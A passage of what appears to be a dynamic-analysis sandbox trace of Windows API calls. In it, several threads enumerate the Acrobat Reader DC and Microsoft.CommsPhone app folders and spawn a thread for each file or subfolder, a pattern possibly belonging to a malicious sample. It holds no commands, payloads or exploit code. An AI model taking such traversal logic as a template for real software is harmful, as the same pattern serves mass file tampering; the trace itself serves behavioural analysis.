	[0078.860] FindNextFileW (in: hFindFile=0x2dad5b8, lpFindFileData=0x2dc0938 | out: lpFindFileData=0x2dc0938*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x61f43dfb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaaebeeeb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0078.860] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0078.860] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0078.860] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4765a10
	[0078.860] wcscpy (in: _Dest=0x4765a10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe"
	[0078.860] wcscat (in: _Dest=0x4765a10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.860] wcscat (in: _Dest=0x4765a10, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0078.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4765a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe00
	[0078.861] FindNextFileW (in: hFindFile=0x2dad5b8, lpFindFileData=0x2dc0938 | out: lpFindFileData=0x2dc0938*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x61f43dfb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaaebeeeb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0078.861] FindClose (in: hFindFile=0x2dad5b8 | out: hFindFile=0x2dad5b8) returned 1
	[0078.861] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc0938) returned 1
	[0078.862] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4782758) returned 1
	[0078.862] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7df78) returned 1

Thread:
	id = 263
	os_tid = 0x12e4

	[0076.787] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x2d86ea8
	[0076.787] wcscpy (in: _Dest=0x2d86ea8, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC"
	[0076.787] wcscat (in: _Dest=0x2d86ea8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\"
	[0076.787] wcscat (in: _Dest=0x2d86ea8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\*"
	[0076.787] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dbe9f0
	[0076.787] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\*", lpFindFileData=0x2dbe9f0 | out: lpFindFileData=0x2dbe9f0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71100
	[0076.787] wcscmp (_String1=".", _String2=".") returned 0
	[0076.787] FindNextFileW (in: hFindFile=0x2d71100, lpFindFileData=0x2dbe9f0 | out: lpFindFileData=0x2dbe9f0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.787] wcscmp (_String1="..", _String2=".") returned 1
	[0076.787] wcscmp (_String1="..", _String2="..") returned 0
	[0076.787] FindNextFileW (in: hFindFile=0x2d71100, lpFindFileData=0x2dbe9f0 | out: lpFindFileData=0x2dbe9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdec183d6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Esl", cAlternateFileName="")) returned 1
	[0076.787] wcscmp (_String1="Esl", _String2=".") returned 1
	[0076.787] wcscmp (_String1="Esl", _String2="..") returned 1
	[0076.787] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x2d87068
	[0076.787] wcscpy (in: _Dest=0x2d87068, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC"
	[0076.787] wcscat (in: _Dest=0x2d87068, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\"
	[0076.787] wcscat (in: _Dest=0x2d87068, _Source="Esl" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Esl") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Esl"
	[0077.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d87068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f8
	[0077.111] FindNextFileW (in: hFindFile=0x2d71100, lpFindFileData=0x2dbe9f0 | out: lpFindFileData=0x2dbe9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader", cAlternateFileName="")) returned 1
	[0077.111] wcscmp (_String1="Reader", _String2=".") returned 1
	[0077.111] wcscmp (_String1="Reader", _String2="..") returned 1
	[0077.111] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x2e04180
	[0077.111] wcscpy (in: _Dest=0x2e04180, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC"
	[0077.111] wcscat (in: _Dest=0x2e04180, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\"
	[0077.111] wcscat (in: _Dest=0x2e04180, _Source="Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader"
	[0077.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e04180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc04
	[0077.112] FindNextFileW (in: hFindFile=0x2d71100, lpFindFileData=0x2dbe9f0 | out: lpFindFileData=0x2dbe9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x40f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe.htm", cAlternateFileName="")) returned 1
	[0077.112] wcscmp (_String1="ReadMe.htm", _String2=".") returned 1
	[0077.112] wcscmp (_String1="ReadMe.htm", _String2="..") returned 1
	[0077.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x47bc290
	[0077.112] wcscpy (in: _Dest=0x47bc290, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC"
	[0077.112] wcscat (in: _Dest=0x47bc290, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\"
	[0077.112] wcscat (in: _Dest=0x47bc290, _Source="ReadMe.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm"
	[0077.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bc290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc08
	[0077.112] FindNextFileW (in: hFindFile=0x2d71100, lpFindFileData=0x2dbe9f0 | out: lpFindFileData=0x2dbe9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource", cAlternateFileName="")) returned 1
	[0077.113] wcscmp (_String1="Resource", _String2=".") returned 1
	[0077.113] wcscmp (_String1="Resource", _String2="..") returned 1
	[0077.113] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ea0
	[0077.113] wcscpy (in: _Dest=0x2e04ea0, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC"
	[0077.113] wcscat (in: _Dest=0x2e04ea0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\"
	[0077.113] wcscat (in: _Dest=0x2e04ea0, _Source="Resource" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource"
	[0077.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e04ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc0c
	[0077.113] FindNextFileW (in: hFindFile=0x2d71100, lpFindFileData=0x2dbe9f0 | out: lpFindFileData=0x2dbe9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 1
	[0077.113] wcscmp (_String1="Setup Files", _String2=".") returned 1
	[0077.113] wcscmp (_String1="Setup Files", _String2="..") returned 1
	[0077.113] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bc010
	[0077.113] wcscpy (in: _Dest=0x47bc010, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC"
	[0077.114] wcscat (in: _Dest=0x47bc010, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\"
	[0077.114] wcscat (in: _Dest=0x47bc010, _Source="Setup Files" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Setup Files"
	[0077.114] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47bc010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc10
	[0077.114] FindNextFileW (in: hFindFile=0x2d71100, lpFindFileData=0x2dbe9f0 | out: lpFindFileData=0x2dbe9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33cd6ac1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33cd6ac1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33cd6ac1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 0
	[0077.114] FindClose (in: hFindFile=0x2d71100 | out: hFindFile=0x2d71100) returned 1
	[0077.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dbe9f0) returned 1
	[0077.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86ea8) returned 1
	[0077.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733fb8) returned 1

Thread:
	id = 264
	os_tid = 0x1338

	[0076.788] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d61bb0
	[0076.788] wcscpy (in: _Dest=0x2d61bb0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe"
	[0076.788] wcscat (in: _Dest=0x2d61bb0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\"
	[0076.788] wcscat (in: _Dest=0x2d61bb0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\*"
	[0076.788] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dbec58
	[0076.788] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ae5394, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaaf17e9e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71140
	[0076.789] wcscmp (_String1=".", _String2=".") returned 0
	[0076.789] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ae5394, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaaf17e9e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x61f43dfb, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.789] wcscmp (_String1="..", _String2=".") returned 1
	[0076.789] wcscmp (_String1="..", _String2="..") returned 0
	[0076.789] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ae5394, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68ae5394, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68ae5394, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x44a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0076.789] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0076.789] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0076.789] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x2d7e138
	[0076.789] wcscpy (in: _Dest=0x2d7e138, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe"
	[0076.789] wcscat (in: _Dest=0x2d7e138, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\"
	[0076.789] wcscat (in: _Dest=0x2d7e138, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0077.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7e138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9fc
	[0077.096] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ae5394, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68ae5394, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68ae5394, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x276d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0077.096] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0077.096] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0077.096] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x2d7e548
	[0077.096] wcscpy (in: _Dest=0x2d7e548, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe"
	[0077.096] wcscat (in: _Dest=0x2d7e548, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\"
	[0077.096] wcscat (in: _Dest=0x2d7e548, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0077.096] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7e548, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd0
	[0077.097] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ae5394, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaaf18f1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x68ae5394, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0077.097] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0077.097] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0077.097] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x2d886c8
	[0077.097] wcscpy (in: _Dest=0x2d886c8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe"
	[0077.097] wcscat (in: _Dest=0x2d886c8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\"
	[0077.097] wcscat (in: _Dest=0x2d886c8, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0077.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d886c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd4
	[0077.097] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ae5394, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x68ae5394, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x68ae5394, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x29c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0077.098] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0077.098] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0077.098] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x2d7eaf8
	[0077.098] wcscpy (in: _Dest=0x2d7eaf8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe"
	[0077.098] wcscat (in: _Dest=0x2d7eaf8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\"
	[0077.098] wcscat (in: _Dest=0x2d7eaf8, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0077.098] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d7eaf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd8
	[0077.098] FindNextFileW (in: hFindFile=0x2d71140, lpFindFileData=0x2dbec58 | out: lpFindFileData=0x2dbec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ae5394, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaafbd2f7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x68bca1ad, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0077.099] wcscmp (_String1="Assets", _String2=".") returned 1
	[0077.099] wcscmp (_String1="Assets", _String2="..") returned 1
	[0077.099] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x47c8aa0
	[0077.099] wcscpy (in: _Dest=0x47c8aa0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe"
